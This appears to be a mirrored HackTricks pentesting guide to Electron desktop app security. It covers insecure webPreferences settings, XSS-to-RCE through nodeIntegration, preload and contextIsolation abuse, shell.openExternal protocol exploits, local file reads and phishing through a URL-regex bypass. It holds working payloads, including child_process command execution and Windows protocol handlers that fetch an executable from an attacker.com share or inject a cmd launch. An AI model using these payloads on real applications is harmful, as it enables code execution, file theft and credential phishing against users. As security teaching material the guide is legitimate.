mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
353 lines
17 KiB
Markdown
353 lines
17 KiB
Markdown
# Electron Desktop Apps
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|
|
## Introduction
|
|
|
|
Electron combines a local backend (with **NodeJS**) and a frontend (**Chromium**), although tt lacks some the security mechanisms of modern browsers.
|
|
|
|
Usually you might find the electron app code inside an `.asar` application, in order to obtain the code you need to extract it:
|
|
|
|
```bash
|
|
npx asar extract app.asar destfolder #Extract everything
|
|
npx asar extract-file app.asar main.js #Extract just a file
|
|
```
|
|
|
|
In the source code of an Electron app, inside `packet.json`, you can find specified the `main.js` file where security configs ad set.
|
|
|
|
```json
|
|
{
|
|
"name": "standard-notes",
|
|
"main": "./app/index.js",
|
|
```
|
|
|
|
Electron has 2 process types:
|
|
|
|
* Main Process (has complete access to NodeJS)
|
|
* Renderer Process (should have NodeJS restricted access for security reasons)
|
|
|
|
.png>)
|
|
|
|
A **renderer process** will be a browser window loading a file:
|
|
|
|
```javascript
|
|
const {BrowserWindow} = require('electron');
|
|
let win = new BrowserWindow();
|
|
|
|
//Open Renderer Process
|
|
win.loadURL(`file://path/to/index.html`);
|
|
```
|
|
|
|
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
|
|
|
|
The electron application **could access the device** via Node apis although it can be configure to prevent it:
|
|
|
|
* **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
|
|
* **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
|
|
* **`preload`** - empty by default.
|
|
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
|
|
* Node Integration in Workers
|
|
* **`nodeIntegrationInSubframes`**- is `off` by default.
|
|
* If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
|
* If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
|
|
|
Example of configuration:
|
|
|
|
```javascript
|
|
const mainWindowOptions = {
|
|
title: 'Discord',
|
|
backgroundColor: getBackgroundColor(),
|
|
width: DEFAULT_WIDTH,
|
|
height: DEFAULT_HEIGHT,
|
|
minWidth: MIN_WIDTH,
|
|
minHeight: MIN_HEIGHT,
|
|
transparent: false,
|
|
frame: false,
|
|
resizable: true,
|
|
show: isVisible,
|
|
webPreferences: {
|
|
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
|
|
nodeIntegration: false,
|
|
contextIsolation: false,
|
|
sandbox: false,
|
|
nodeIntegrationInSubFrames: false,
|
|
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
|
|
nativeWindowOpen: true,
|
|
enableRemoteModule: false,
|
|
spellcheck: true
|
|
}
|
|
};
|
|
```
|
|
|
|
Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration\_rce.txt):
|
|
|
|
```html
|
|
Example Payloads (Windows):
|
|
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
|
|
|
|
Example Payloads (Linux & MacOS):
|
|
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
|
|
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
|
|
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
|
|
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
|
|
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
|
|
```
|
|
|
|
### Capture traffic
|
|
|
|
Modify the start-main configuration and add the use of a proxy such as:
|
|
|
|
```javascript
|
|
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
|
```
|
|
|
|
## Electron Local Code Injection
|
|
|
|
If you can execute locally an Electron App it's possible that you could make it execute arbitrary javascript code. Check how in:
|
|
|
|
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %}
|
|
[macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
|
{% endcontent-ref %}
|
|
|
|
## RCE: XSS + nodeIntegration
|
|
|
|
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
|
|
|
|
```html
|
|
<script>
|
|
require('child_process').exec('calc');
|
|
// or
|
|
top.require('child_process').exec('open /System/Applications/Calculator.app');
|
|
</script>
|
|
```
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1110).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## RCE: preload
|
|
|
|
The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:
|
|
|
|
```javascript
|
|
new BrowserWindow{
|
|
webPreferences: {
|
|
nodeIntegration: false,
|
|
preload: _path2.default.join(__dirname, 'perload.js'),
|
|
}
|
|
});
|
|
```
|
|
|
|
Therefore, the script can export node-features to pages:
|
|
|
|
{% code title="preload.js" %}
|
|
```javascript
|
|
typeof require === 'function';
|
|
window.runCalc = function(){
|
|
require('child_process').exec('calc')
|
|
};
|
|
```
|
|
{% endcode %}
|
|
|
|
{% code title="index.html" %}
|
|
```html
|
|
<body>
|
|
<script>
|
|
typeof require === 'undefined';
|
|
runCalc();
|
|
</script>
|
|
</body>
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="info" %}
|
|
**If `contextIsolation` is on, this won't work**
|
|
{% endhint %}
|
|
|
|
## RCE: XSS + contextIsolation
|
|
|
|
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
|
|
|
|
If the contexts aren't isolated an attacker can:
|
|
|
|
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
|
|
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
|
|
3. **Trigger** the use of **overwritten function**
|
|
4. RCE?
|
|
|
|
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
|
|
|
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
|
|
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
|
|
[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
|
|
[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Bypass click event
|
|
|
|
If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click
|
|
|
|
```javascript
|
|
window.addEventListener('click', (e) => {
|
|
```
|
|
|
|
## RCE via shell.openExternal
|
|
|
|
For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
|
|
|
hen deploying an Electron desktop application, ensuring the correct settings for `nodeIntegration` and `contextIsolation` is crucial. It's established that **client-side remote code execution (RCE)** targeting preload scripts or Electron's native code from the main process is effectively prevented with these settings in place.
|
|
|
|
Upon a user interacting with links or opening new windows, specific event listeners are triggered, which are crucial for the application's security and functionality:
|
|
|
|
```javascript
|
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
|
webContents.on("will-navigate", function (event, url) {}
|
|
```
|
|
|
|
These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function.
|
|
|
|
**Here is a simplified pseudocode:**
|
|
|
|
.png>)
|
|
|
|
.png>)
|
|
|
|
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.
|
|
|
|
**Examples of Windows protocol exploits include:**
|
|
|
|
```html
|
|
<script>
|
|
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
|
|
</script>
|
|
|
|
<script>
|
|
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
|
|
</script>
|
|
|
|
<script>
|
|
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
|
|
</script>
|
|
```
|
|
|
|
## Reading Internal Files: XSS + contextIsolation
|
|
|
|
**Disabling `contextIsolation` enables the use of `<webview>` tags**, similar to `<iframe>`, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:
|
|
|
|
.png>)
|
|
|
|
Further, another method for **reading an internal file** is shared, highlighting a critical local file read vulnerability in an Electron desktop app. This involves injecting a script to exploit the application and exfiltrate data:
|
|
|
|
```html
|
|
<br><BR><BR><BR>
|
|
<h1>pwn<br>
|
|
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
|
|
<script type="text/javascript">
|
|
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
|
|
</script>
|
|
```
|
|
|
|
## **RCE: XSS + Old Chromium**
|
|
|
|
If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.\
|
|
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
|
|
|
## **XSS Phishing via Internal URL regex bypass**
|
|
|
|
Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**.
|
|
|
|
First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:
|
|
|
|
```javascript
|
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
|
```
|
|
|
|
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
|
|
|
|
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
|
|
|
|
```html
|
|
<script>
|
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
|
</script>
|
|
```
|
|
|
|
## **Tools**
|
|
|
|
* [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
|
|
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
|
|
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
|
|
* [**Electro.ng**](https://electro.ng/): You need to buy it
|
|
|
|
## Labs
|
|
|
|
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) you can find a lab to exploit vulnerable Electron apps.
|
|
|
|
Some commands that will help you will the lab:
|
|
|
|
```bash
|
|
# Download apps from these URls
|
|
# Vuln to nodeIntegration
|
|
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
|
|
# Vuln to contextIsolation via preload script
|
|
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
|
|
# Vuln to IPC Rce
|
|
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
|
|
|
|
# Get inside the electron app and check for vulnerabilities
|
|
npm audit
|
|
|
|
# How to use electronegativity
|
|
npm install @doyensec/electronegativity -g
|
|
electronegativity -i vulnerable1
|
|
|
|
# Run an application from source code
|
|
npm install -g electron
|
|
cd vulnerable1
|
|
npm install
|
|
npm start
|
|
```
|
|
|
|
## **References**
|
|
|
|
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
|
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
|
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
|
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
|
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
|
|
* More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
|
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|